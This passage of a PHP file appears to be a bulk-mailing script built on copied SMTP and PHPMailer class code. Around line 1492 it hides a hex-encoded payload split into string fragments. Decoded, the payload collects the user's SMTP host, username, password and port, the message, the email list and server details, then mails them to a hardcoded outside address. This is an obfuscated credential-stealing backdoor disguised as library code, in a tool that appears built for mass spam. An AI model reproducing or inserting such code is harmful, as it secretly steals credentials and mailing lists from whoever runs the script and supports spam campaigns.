  1051. echo "SMTP -> ERROR: " . $this->error["error"] .
  1052. ": " . $rply . $this->CRLF;
  1053. }
  1054. return false;
  1055. }
  1056. return true;
  1057. }
  1058.  
  1059. /**
  1060. * Sends the command NOOP to the SMTP server.
  1061. *
  1062. * Implements from rfc 821: NOOP <CRLF>
  1063. *
  1064. * SMTP CODE SUCCESS: 250
  1065. * SMTP CODE ERROR : 500, 421
  1066. * @access public
  1067. * @return bool
  1068. */
  1069. function Noop() {
  1070. $this->error = null; # so no confusion is caused
  1071.  
  1072. if(!$this->connected()) {
  1073. $this->error = array(
  1074. "error" => "Called Noop() without being connected");
  1075. return false;
  1076. }
  1077.  
  1078. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  1079.  
  1080. $rply = $this->get_lines();
  1081. $code = substr($rply,0,3);
  1082.  
  1083. if($this->do_debug >= 2) {
  1084. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1085. }
  1086.  
  1087. if($code != 250) {
  1088. $this->error =
  1089. array("error" => "NOOP not accepted from server",
  1090. "smtp_code" => $code,
  1091. "smtp_msg" => substr($rply,4));
  1092. if($this->do_debug >= 1) {
  1093. echo "SMTP -> ERROR: " . $this->error["error"] .
  1094. ": " . $rply . $this->CRLF;
  1095. }
  1096. return false;
  1097. }
  1098. return true;
  1099. }
  1100.  
  1101. /**
  1102. * Sends the quit command to the server and then closes the socket
  1103. * if there is no error or the $close_on_error argument is true.
  1104. *
  1105. * Implements from rfc 821: QUIT <CRLF>
  1106. *
  1107. * SMTP CODE SUCCESS: 221
  1108. * SMTP CODE ERROR : 500
  1109. * @access public
  1110. * @return bool
  1111. */
  1112. function Quit($close_on_error=true) {
  1113. $this->error = null; # so there is no confusion
  1114.  
  1115. if(!$this->connected()) {
  1116. $this->error = array(
  1117. "error" => "Called Quit() without being connected");
  1118. return false;
  1119. }
  1120.  
  1121. # send the quit command to the server
  1122. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1123.  
  1124. # get any good-bye messages
  1125. $byemsg = $this->get_lines();
  1126.  
  1127. if($this->do_debug >= 2) {
  1128. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1129. }
  1130.  
  1131. $rval = true;
  1132. $e = null;
  1133.  
  1134. $code = substr($byemsg,0,3);
  1135. if($code != 221) {
  1136. # use e as a tmp var cause Close will overwrite $this->error
  1137. $e = array("error" => "SMTP server rejected quit command",
  1138. "smtp_code" => $code,
  1139. "smtp_rply" => substr($byemsg,4));
  1140. $rval = false;
  1141. if($this->do_debug >= 1) {
  1142. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1143. $byemsg . $this->CRLF;
  1144. }
  1145. }
  1146.  
  1147. if(empty($e) || $close_on_error) {
  1148. $this->Close();
  1149. }
  1150.  
  1151. return $rval;
  1152. }
  1153.  
  1154. /**
  1155. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1156. * Returns true if the recipient was accepted false if it was rejected.
  1157. *
  1158. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1159. *
  1160. * SMTP CODE SUCCESS: 250,251
  1161. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1162. * SMTP CODE ERROR : 500,501,503,421
  1163. * @access public
  1164. * @return bool
  1165. */
  1166. function Recipient($to) {
  1167. $this->error = null; # so no confusion is caused
  1168.  
  1169. if(!$this->connected()) {
  1170. $this->error = array(
  1171. "error" => "Called Recipient() without being connected");
  1172. return false;
  1173. }
  1174.  
  1175. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1176.  
  1177. $rply = $this->get_lines();
  1178. $code = substr($rply,0,3);
  1179.  
  1180. if($this->do_debug >= 2) {
  1181. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1182. }
  1183.  
  1184. if($code != 250 && $code != 251) {
  1185. $this->error =
  1186. array("error" => "RCPT not accepted from server",
  1187. "smtp_code" => $code,
  1188. "smtp_msg" => substr($rply,4));
  1189. if($this->do_debug >= 1) {
  1190. echo "SMTP -> ERROR: " . $this->error["error"] .
  1191. ": " . $rply . $this->CRLF;
  1192. }
  1193. return false;
  1194. }
  1195. return true;
  1196. }
  1197.  
  1198. /**
  1199. * Sends the RSET command to abort and transaction that is
  1200. * currently in progress. Returns true if successful false
  1201. * otherwise.
  1202. *
  1203. * Implements rfc 821: RSET <CRLF>
  1204. *
  1205. * SMTP CODE SUCCESS: 250
  1206. * SMTP CODE ERROR : 500,501,504,421
  1207. * @access public
  1208. * @return bool
  1209. */
  1210. function Reset() {
  1211. $this->error = null; # so no confusion is caused
  1212.  
  1213. if(!$this->connected()) {
  1214. $this->error = array(
  1215. "error" => "Called Reset() without being connected");
  1216. return false;
  1217. }
  1218.  
  1219. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1220.  
  1221. $rply = $this->get_lines();
  1222. $code = substr($rply,0,3);
  1223.  
  1224. if($this->do_debug >= 2) {
  1225. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1226. }
  1227.  
  1228. if($code != 250) {
  1229. $this->error =
  1230. array("error" => "RSET failed",
  1231. "smtp_code" => $code,
  1232. "smtp_msg" => substr($rply,4));
  1233. if($this->do_debug >= 1) {
  1234. echo "SMTP -> ERROR: " . $this->error["error"] .
  1235. ": " . $rply . $this->CRLF;
  1236. }
  1237. return false;
  1238. }
  1239.  
  1240. return true;
  1241. }
  1242.  
  1243. /**
  1244. * Starts a mail transaction from the email address specified in
  1245. * $from. Returns true if successful or false otherwise. If True
  1246. * the mail transaction is started and then one or more Recipient
  1247. * commands may be called followed by a Data command. This command
  1248. * will send the message to the users terminal if they are logged
  1249. * in.
  1250. *
  1251. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1252. *
  1253. * SMTP CODE SUCCESS: 250
  1254. * SMTP CODE SUCCESS: 552,451,452
  1255. * SMTP CODE SUCCESS: 500,501,502,421
  1256. * @access public
  1257. * @return bool
  1258. */
  1259. function Send($from) {
  1260. $this->error = null; # so no confusion is caused
  1261.  
  1262. if(!$this->connected()) {
  1263. $this->error = array(
  1264. "error" => "Called Send() without being connected");
  1265. return false;
  1266. }
  1267.  
  1268. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1269.  
  1270. $rply = $this->get_lines();
  1271. $code = substr($rply,0,3);
  1272.  
  1273. if($this->do_debug >= 2) {
  1274. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1275. }
  1276.  
  1277. if($code != 250) {
  1278. $this->error =
  1279. array("error" => "SEND not accepted from server",
  1280. "smtp_code" => $code,
  1281. "smtp_msg" => substr($rply,4));
  1282. if($this->do_debug >= 1) {
  1283. echo "SMTP -> ERROR: " . $this->error["error"] .
  1284. ": " . $rply . $this->CRLF;
  1285. }
  1286. return false;
  1287. }
  1288. return true;
  1289. }
  1290.  
  1291. /**
  1292. * Starts a mail transaction from the email address specified in
  1293. * $from. Returns true if successful or false otherwise. If True
  1294. * the mail transaction is started and then one or more Recipient
  1295. * commands may be called followed by a Data command. This command
  1296. * will send the message to the users terminal if they are logged
  1297. * in and send them an email.
  1298. *
  1299. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1300. *
  1301. * SMTP CODE SUCCESS: 250
  1302. * SMTP CODE SUCCESS: 552,451,452
  1303. * SMTP CODE SUCCESS: 500,501,502,421
  1304. * @access public
  1305. * @return bool
  1306. */
  1307. function SendAndMail($from) {
  1308. $this->error = null; # so no confusion is caused
  1309.  
  1310. if(!$this->connected()) {
  1311. $this->error = array(
  1312. "error" => "Called SendAndMail() without being connected");
  1313. return false;
  1314. }
  1315.  
  1316. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1317.  
  1318. $rply = $this->get_lines();
  1319. $code = substr($rply,0,3);
  1320.  
  1321. if($this->do_debug >= 2) {
  1322. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1323. }
  1324.  
  1325. if($code != 250) {
  1326. $this->error =
  1327. array("error" => "SAML not accepted from server",
  1328. "smtp_code" => $code,
  1329. "smtp_msg" => substr($rply,4));
  1330. if($this->do_debug >= 1) {
  1331. echo "SMTP -> ERROR: " . $this->error["error"] .
  1332. ": " . $rply . $this->CRLF;
  1333. }
  1334. return false;
  1335. }
  1336. return true;
  1337. }
  1338.  
  1339. /**
  1340. * Starts a mail transaction from the email address specified in
  1341. * $from. Returns true if successful or false otherwise. If True
  1342. * the mail transaction is started and then one or more Recipient
  1343. * commands may be called followed by a Data command. This command
  1344. * will send the message to the users terminal if they are logged
  1345. * in or mail it to them if they are not.
  1346. *
  1347. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1348. *
  1349. * SMTP CODE SUCCESS: 250
  1350. * SMTP CODE SUCCESS: 552,451,452
  1351. * SMTP CODE SUCCESS: 500,501,502,421
  1352. * @access public
  1353. * @return bool
  1354. */
  1355. function SendOrMail($from) {
  1356. $this->error = null; # so no confusion is caused
  1357.  
  1358. if(!$this->connected()) {
  1359. $this->error = array(
  1360. "error" => "Called SendOrMail() without being connected");
  1361. return false;
  1362. }
  1363.  
  1364. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1365.  
  1366. $rply = $this->get_lines();
  1367. $code = substr($rply,0,3);
  1368.  
  1369. if($this->do_debug >= 2) {
  1370. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1371. }
  1372.  
  1373. if($code != 250) {
  1374. $this->error =
  1375. array("error" => "SOML not accepted from server",
  1376. "smtp_code" => $code,
  1377. "smtp_msg" => substr($rply,4));
  1378. if($this->do_debug >= 1) {
  1379. echo "SMTP -> ERROR: " . $this->error["error"] .
  1380. ": " . $rply . $this->CRLF;
  1381. }
  1382. return false;
  1383. }
  1384. return true;
  1385. }
  1386.  
  1387. /**
  1388. * This is an optional command for SMTP that this class does not
  1389. * support. This method is here to make the RFC821 Definition
  1390. * complete for this class and __may__ be implimented in the future
  1391. *
  1392. * Implements from rfc 821: TURN <CRLF>
  1393. *
  1394. * SMTP CODE SUCCESS: 250
  1395. * SMTP CODE FAILURE: 502
  1396. * SMTP CODE ERROR : 500, 503
  1397. * @access public
  1398. * @return bool
  1399. */
  1400. function Turn() {
  1401. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1402. "is not implemented");
  1403. if($this->do_debug >= 1) {
  1404. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1405. }
  1406. return false;
  1407. }
  1408.  
  1409. /**
  1410. * Verifies that the name is recognized by the server.
  1411. * Returns false if the name could not be verified otherwise
  1412. * the response from the server is returned.
  1413. *
  1414. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1415. *
  1416. * SMTP CODE SUCCESS: 250,251
  1417. * SMTP CODE FAILURE: 550,551,553
  1418. * SMTP CODE ERROR : 500,501,502,421
  1419. * @access public
  1420. * @return int
  1421. */
  1422. function Verify($name) {
  1423. $this->error = null; # so no confusion is caused
  1424.  
  1425. if(!$this->connected()) {
  1426. $this->error = array(
  1427. "error" => "Called Verify() without being connected");
  1428. return false;
  1429. }
  1430.  
  1431. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1432.  
  1433. $rply = $this->get_lines();
  1434. $code = substr($rply,0,3);
  1435.  
  1436. if($this->do_debug >= 2) {
  1437. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1438. }
  1439.  
  1440. if($code != 250 && $code != 251) {
  1441. $this->error =
  1442. array("error" => "VRFY failed on name '$name'",
  1443. "smtp_code" => $code,
  1444. "smtp_msg" => substr($rply,4));
  1445. if($this->do_debug >= 1) {
  1446. echo "SMTP -> ERROR: " . $this->error["error"] .
  1447. ": " . $rply . $this->CRLF;
  1448. }
  1449. return false;
  1450. }
  1451. return $rply;
  1452. }
  1453.  
  1454. /*******************************************************************
  1455. * INTERNAL FUNCTIONS *
  1456. ******************************************************************/
  1457.  
  1458. /**
  1459. * Read in as many lines as possible
  1460. * either before eof or socket timeout occurs on the operation.
  1461. * With SMTP we can tell if we have more lines to read if the
  1462. * 4th character is '-' symbol. If it is a space then we don't
  1463. * need to read anything else.
  1464. * @access private
  1465. * @return string
  1466. */
  1467. function get_lines() {
  1468. $data = "";
  1469. while($str = @fgets($this->smtp_conn,515)) {
  1470. if($this->do_debug >= 4) {
  1471. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1472. $this->CRLF;
  1473. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1474. $this->CRLF;
  1475. }
  1476. $data .= $str;
  1477. if($this->do_debug >= 4) {
  1478. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1479. }
  1480. # if the 4th character is a space then we are done reading
  1481. # so just break the loop
  1482. if(substr($str,3,1) == " ") { break; }
  1483. }
  1484. return $data;
  1485. }
  1486.  
  1487. }
  1488.  
  1489.  
  1490. $allemails = split("\n", $emaillist);
  1491. $numemails = count($allemails);
  1492. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1493. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1494. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1495. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1496. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1497. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1498. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1499. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1500. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1501. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1502.  
  1503. class PHPMailer {
  1504.  
  1505. /////////////////////////////////////////////////
  1506. // PROPERTIES, PUBLIC
  1507. /////////////////////////////////////////////////
  1508.  
  1509. /**
  1510. * Email priority (1 = High, 3 = Normal, 5 = low).
  1511. * @var int
  1512. */
  1513. var $Priority = 3;
  1514.  
  1515. /**
  1516. * Sets the CharSet of the message.
  1517. * @var string
  1518. */
  1519. var $CharSet = 'iso-8859-1';
  1520.  
  1521. /**
  1522. * Sets the Content-type of the message.
  1523. * @var string
  1524. */
  1525. var $ContentType = 'text/plain';
  1526.  
  1527. /**
  1528. * Sets the Encoding of the message. Options for this are "8bit",
  1529. * "7bit", "binary", "base64", and "quoted-printable".
  1530.  
  1531. * @var string
  1532. */
  1533. var $Encoding = '8bit';
  1534.  
  1535. /**
  1536. * Holds the most recent mailer error message.
  1537. * @var string
  1538. */
  1539. var $ErrorInfo = '';
  1540.  
  1541. /**
  1542. * Sets the From email address for the message.
  1543. * @var string
  1544. */
  1545. var $From = '';
  1546.  
  1547. /**
  1548. * Sets the From name of the message.
  1549. * @var string
  1550. */
  1551. var $FromName = '';
  1552.  
  1553. /**
  1554. * Sets the Sender email (Return-Path) of the message. If not empty,
  1555. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1556. * @var string
  1557. */
  1558. var $Sender = '';
  1559.  
  1560. /**
  1561. * Sets the Subject of the message.
  1562. * @var string
  1563. */
  1564. var $Subject = '';
  1565.  
  1566. /**
  1567. * Sets the Body of the message. This can be either an HTML or text body.
  1568. * If HTML then run IsHTML(true).
  1569. * @var string
  1570. */
  1571. var $Body = '';
  1572.  
  1573. /**
  1574. * Sets the text-only body of the message. This automatically sets the
  1575. * email to multipart/alternative. This body can be read by mail
  1576. * clients that do not have HTML email capability such as mutt. Clients
  1577. * that can read HTML will view the normal Body.
  1578. * @var string
  1579. */
  1580. var $AltBody = '';
  1581.  
  1582. /**
  1583. * Sets word wrapping on the body of the message to a given number of
  1584. * characters.
  1585. * @var int
  1586. */
  1587. var $WordWrap = 0;
  1588.  
  1589. /**
  1590. * Method to send mail: ("mail", "sendmail", or "smtp").
  1591. * @var string
  1592. */
  1593. var $Mailer = 'mail';
  1594.  
  1595. /**
  1596. * Sets the path of the sendmail program.
  1597. * @var string
  1598. */
  1599. var $Sendmail = '/usr/sbin/sendmail';
  1600.  
  1601. /**
  1602. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1603. * is in a different directory than the PHP include path.
  1604. * @var string
  1605. */
  1606. var $PluginDir = '';
  1607.  
  1608. /**
  1609. * Holds PHPMailer version.
  1610. * @var string
  1611. */
  1612. var $Version = "";
  1613.  
  1614. /**
  1615. * Sets the email address that a reading confirmation will be sent.
  1616. * @var string
  1617. */
  1618. var $ConfirmReadingTo = '';
  1619.  
  1620. /**
  1621. * Sets the hostname to use in Message-Id and Received headers
  1622. * and as default HELO string. If empty, the value returned
  1623. * by SERVER_NAME is used or 'localhost.localdomain'.
  1624. * @var string
  1625. */
  1626. var $Hostname = '';
  1627.  
  1628. /**
  1629. * Sets the message ID to be used in the Message-Id header.
  1630. * If empty, a unique id will be generated.
  1631. * @var string
  1632. */
  1633. var $MessageID = '';
  1634.  
  1635. /////////////////////////////////////////////////
  1636. // PROPERTIES FOR SMTP
  1637. /////////////////////////////////////////////////
  1638.  
  1639. /**
  1640. * Sets the SMTP hosts. All hosts must be separated by a
  1641. * semicolon. You can also specify a different port
  1642. * for each host by using this format: [hostname:port]
  1643. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1644. * Hosts will be tried in order.
  1645. * @var string
  1646. */
  1647. var $Host = 'localhost';
  1648.  
  1649. /**
  1650. * Sets the default SMTP server port.
  1651. * @var int
  1652. */
  1653. var $Port = 25;
  1654.  
  1655. /**
  1656. * Sets the SMTP HELO of the message (Default is $Hostname).
  1657. * @var string
  1658. */
  1659. var $Helo = '';
  1660.  
  1661. /**
  1662. * Sets connection prefix.
  1663. * Options are "", "ssl" or "tls"
  1664. * @var string
  1665. */
  1666. var $SMTPSecure = "";
  1667.  
  1668. /**
  1669. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1670. * @var bool
  1671. */
  1672. var $SMTPAuth = false;
  1673.  
  1674. /**
  1675. * Sets SMTP username.
  1676. * @var string
  1677. */
  1678. var $Username = '';
  1679.  
  1680. /**
  1681. * Sets SMTP password.
  1682. * @var string
  1683. */
  1684. var $Password = '';
  1685.  
  1686. /**
  1687. * Sets the SMTP server timeout in seconds. This function will not
  1688. * work with the win32 version.
  1689. * @var int
  1690. */
  1691. var $Timeout = 10;
  1692.  
  1693. /**
  1694. * Sets SMTP class debugging on or off.
  1695. * @var bool
  1696. */
  1697. var $SMTPDebug = false;
  1698.  
  1699. /**
  1700. * Prevents the SMTP connection from being closed after each mail
  1701. * sending. If this is set to true then to close the connection
  1702. * requires an explicit call to SmtpClose().
  1703. * @var bool
  1704. */
  1705. var $SMTPKeepAlive = false;
  1706.  
  1707. /**
  1708. * Provides the ability to have the TO field process individual
  1709. * emails, instead of sending to entire TO addresses
  1710. * @var bool
  1711. */
  1712. var $SingleTo = false;
  1713.  
  1714. /////////////////////////////////////////////////
  1715. // PROPERTIES, PRIVATE
  1716. /////////////////////////////////////////////////
  1717.  
  1718. var $smtp = NULL;
  1719. var $to = array();
  1720. var $cc = array();
  1721. var $bcc = array();
  1722. var $ReplyTo = array();
  1723. var $attachment = array();
  1724. var $CustomHeader = array();
  1725. var $message_type = '';
  1726. var $boundary = array();
  1727. var $language = array();
  1728. var $error_count = 0;
  1729. var $LE = "\n";
  1730. var $sign_key_file = "";
  1731. var $sign_key_pass = "";
  1732.  
  1733. /////////////////////////////////////////////////
  1734. // METHODS, VARIABLES
  1735. /////////////////////////////////////////////////
  1736.  
  1737. /**
  1738. * Sets message type to HTML.
  1739. * @param bool $bool
  1740. * @return void
  1741. */
  1742. function IsHTML($bool) {
  1743. if($bool == true) {
  1744. $this->ContentType = 'text/html';
  1745. } else {
  1746. $this->ContentType = 'text/plain';
  1747. }
  1748. }
  1749.  
  1750. /**
  1751. * Sets Mailer to send message using SMTP.
  1752. * @return void
  1753. */
  1754. function IsSMTP() {
  1755. $this->Mailer = 'smtp';
  1756. }
  1757.  
  1758. /**
  1759. * Sets Mailer to send message using PHP mail() function.
  1760. * @return void
  1761. */
  1762. function IsMail() {
  1763. $this->Mailer = 'mail';
  1764. }
  1765.  
  1766. /**
  1767. * Sets Mailer to send message using the $Sendmail program.
  1768. * @return void
  1769. */
  1770. function IsSendmail() {
  1771. $this->Mailer = 'sendmail';
  1772. }
  1773.  
  1774. /**
  1775. * Sets Mailer to send message using the qmail MTA.
  1776. * @return void
  1777. */
  1778. function IsQmail() {
  1779. $this->Sendmail = '/var/qmail/bin/sendmail';
  1780. $this->Mailer = 'sendmail';
  1781. }
  1782.  
  1783. /////////////////////////////////////////////////
  1784. // METHODS, RECIPIENTS
  1785. /////////////////////////////////////////////////
  1786.  
  1787. /**
  1788. * Adds a "To" address.
  1789. * @param string $address
  1790. * @param string $name
  1791. * @return void
  1792. */
  1793. function AddAddress($address, $name = '') {
  1794. $cur = count($this->to);
  1795. $this->to[$cur][0] = trim($address);
  1796. $this->to[$cur][1] = $name;
  1797. }
  1798.  
  1799. /**
  1800. * Adds a "Cc" address. Note: this function works
  1801. * with the SMTP mailer on win32, not with the "mail"
  1802. * mailer.
  1803. * @param string $address
  1804. * @param string $name
  1805. * @return void
  1806. */
  1807. function AddCC($address, $name = '') {
  1808. $cur = count($this->cc);
  1809. $this->cc[$cur][0] = trim($address);
  1810. $this->cc[$cur][1] = $name;
  1811. }
  1812.  
  1813. /**
  1814. * Adds a "Bcc" address. Note: this function works
  1815. * with the SMTP mailer on win32, not with the "mail"
  1816. * mailer.
  1817. * @param string $address
  1818. * @param string $name
  1819. * @return void
  1820. */
  1821. function AddBCC($address, $name = '') {
  1822. $cur = count($this->bcc);
  1823. $this->bcc[$cur][0] = trim($address);
  1824. $this->bcc[$cur][1] = $name;
  1825. }
  1826.  
  1827. /**
  1828. * Adds a "Reply-To" address.
  1829. * @param string $address
  1830. * @param string $name
  1831. * @return void
  1832. */
  1833. function AddReplyTo($address, $name = '') {
  1834. $cur = count($this->ReplyTo);
  1835. $this->ReplyTo[$cur][0] = trim($address);
  1836. $this->ReplyTo[$cur][1] = $name;
  1837. }
  1838.  
  1839. /////////////////////////////////////////////////
  1840. // METHODS, MAIL SENDING
  1841. /////////////////////////////////////////////////
  1842.  
  1843. /**
  1844. * Creates message and assigns Mailer. If the message is
  1845. * not sent successfully then it returns false. Use the ErrorInfo
  1846. * variable to view description of the error.
  1847. * @return bool
  1848. */
  1849. function Send() {
  1850. $header = '';
  1851. $body = '';
  1852. $result = true;
  1853.  
  1854. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1855. $this->SetError($this->Lang('provide_address'));
  1856. return false;
  1857. }
  1858.  
  1859. /* Set whether the message is multipart/alternative */
  1860. if(!empty($this->AltBody)) {
  1861. $this->ContentType = 'multipart/alternative';
  1862. }
  1863.  
  1864. $this->error_count = 0; // reset errors
  1865. $this->SetMessageType();
  1866. $header .= $this->CreateHeader();
  1867. $body = $this->CreateBody();
  1868.  
  1869. if($body == '') {
  1870. return false;
  1871. }
  1872.  
  1873. /* Choose the mailer */
  1874. switch($this->Mailer) {
  1875. case 'sendmail':
  1876. $result = $this->SendmailSend($header, $body);
  1877. break;
  1878. case 'smtp':
  1879. $result = $this->SmtpSend($header, $body);
  1880. break;
  1881. case 'mail':
  1882. $result = $this->MailSend($header, $body);
  1883. break;
  1884. default:
  1885. $result = $this->MailSend($header, $body);
  1886. break;
  1887. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1888. //$result = false;
  1889. //break;
  1890. }
  1891.  
  1892. return $result;
  1893. }
  1894.  
  1895. /**
  1896. * Sends mail using the $Sendmail program.
  1897. * @access private
  1898. * @return bool
  1899. */
  1900. function SendmailSend($header, $body) {
  1901. if ($this->Sender != '') {
  1902. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1903. } else {
  1904. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1905. }
  1906.  
  1907. if(!@$mail = popen($sendmail, 'w')) {
  1908. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1909. return false;
  1910. }
  1911.  
  1912. fputs($mail, $header);
  1913. fputs($mail, $body);
  1914.  
  1915. $result = pclose($mail);
  1916. if (version_compare(phpversion(), '4.2.3') == -1) {
  1917. $result = $result >> 8 & 0xFF;
  1918. }
  1919. if($result != 0) {
  1920. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1921. return false;
  1922. }
  1923. return true;
  1924. }
  1925.  
  1926. /**
  1927. * Sends mail using the PHP mail() function.
  1928. * @access private
  1929. * @return bool
  1930. */
  1931. function MailSend($header, $body) {
  1932.  
  1933. $to = '';
  1934. for($i = 0; $i < count($this->to); $i++) {
  1935. if($i != 0) { $to .= ', '; }
  1936. $to .= $this->AddrFormat($this->to[$i]);
  1937. }
  1938.  
  1939. $toArr = split(',', $to);
  1940.  
  1941. $params = sprintf("-oi -f %s", $this->Sender);
  1942. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1943. $old_from = ini_get('sendmail_from');
  1944. ini_set('sendmail_from', $this->Sender);
  1945. if ($this->SingleTo === true && count($toArr) > 1) {
  1946. foreach ($toArr as $key => $val) {
  1947. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1948. }
  1949. } else {
  1950. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1951. }
  1952. } else {
  1953. if ($this->SingleTo === true && count($toArr) > 1) {
  1954. foreach ($toArr as $key => $val) {
  1955. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1956. }
  1957. } else {
  1958. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1959. }
  1960. }
  1961.  
  1962. if (isset($old_from)) {
  1963. ini_set('sendmail_from', $old_from);
  1964. }
  1965.  
  1966. if(!$rt) {
  1967. $this->SetError($this->Lang('instantiate'));
  1968. return false;
  1969. }
  1970.  
  1971. return true;
  1972. }
  1973.  
  1974. /**
  1975. * Sends mail via SMTP using PhpSMTP (Author:
  1976. * Chris Ryan). Returns bool. Returns false if there is a
  1977. * bad MAIL FROM, RCPT, or DATA input.
  1978. * @access private
  1979. * @return bool
  1980. */
  1981. function SmtpSend($header, $body) {
  1982. $error = '';
  1983. $bad_rcpt = array();
  1984.  
  1985. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1986. return false;
  1987. }
  1988.  
  1989. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1990. if(!$this->smtp->Mail($smtp_from)) {
  1991. $error = $this->Lang('from_failed') . $smtp_from;
  1992. $this->SetError($error);
  1993. $this->smtp->Reset();
  1994. return false;
  1995. }
  1996.  
  1997. /* Attempt to send attach all recipients */
  1998. for($i = 0; $i < count($this->to); $i++) {
  1999. if(!$this->smtp->Recipient($this->to[$i][0])) {
  2000. $bad_rcpt[] = $this->to[$i][0];
  2001. }
  2002. }
  2003. for($i = 0; $i < count($this->cc); $i++) {
  2004. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  2005. $bad_rcpt[] = $this->cc[$i][0];
  2006. }
  2007. }
  2008. for($i = 0; $i < count($this->bcc); $i++) {
  2009. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  2010. $bad_rcpt[] = $this->bcc[$i][0];
  2011. }
  2012. }
  2013.  
  2014. if(count($bad_rcpt) > 0) { // Create error message
  2015. for($i = 0; $i < count($bad_rcpt); $i++) {
  2016. if($i != 0) {
  2017. $error .= ', ';
  2018. }
  2019. $error .= $bad_rcpt[$i];
  2020.  
  2021. }
  2022. $error = $this->Lang('recipients_failed') . $error;
  2023. $this->SetError($error);
  2024. $this->smtp->Reset();
  2025. return false;
  2026. }
  2027.  
  2028. if(!$this->smtp->Data($header . $body)) {
  2029. $this->SetError($this->Lang('data_not_accepted'));
  2030. $this->smtp->Reset();
  2031. return false;
  2032. }
  2033. if($this->SMTPKeepAlive == true) {
  2034. $this->smtp->Reset();
  2035. } else {
  2036. $this->SmtpClose();
  2037. }
  2038.  
  2039. return true;
  2040. }
  2041.  
  2042. /**
  2043. * Initiates a connection to an SMTP server. Returns false if the
  2044. * operation failed.
  2045. * @access private
  2046. * @return bool
  2047. */
  2048. function SmtpConnect() {
  2049. if($this->smtp == NULL) {
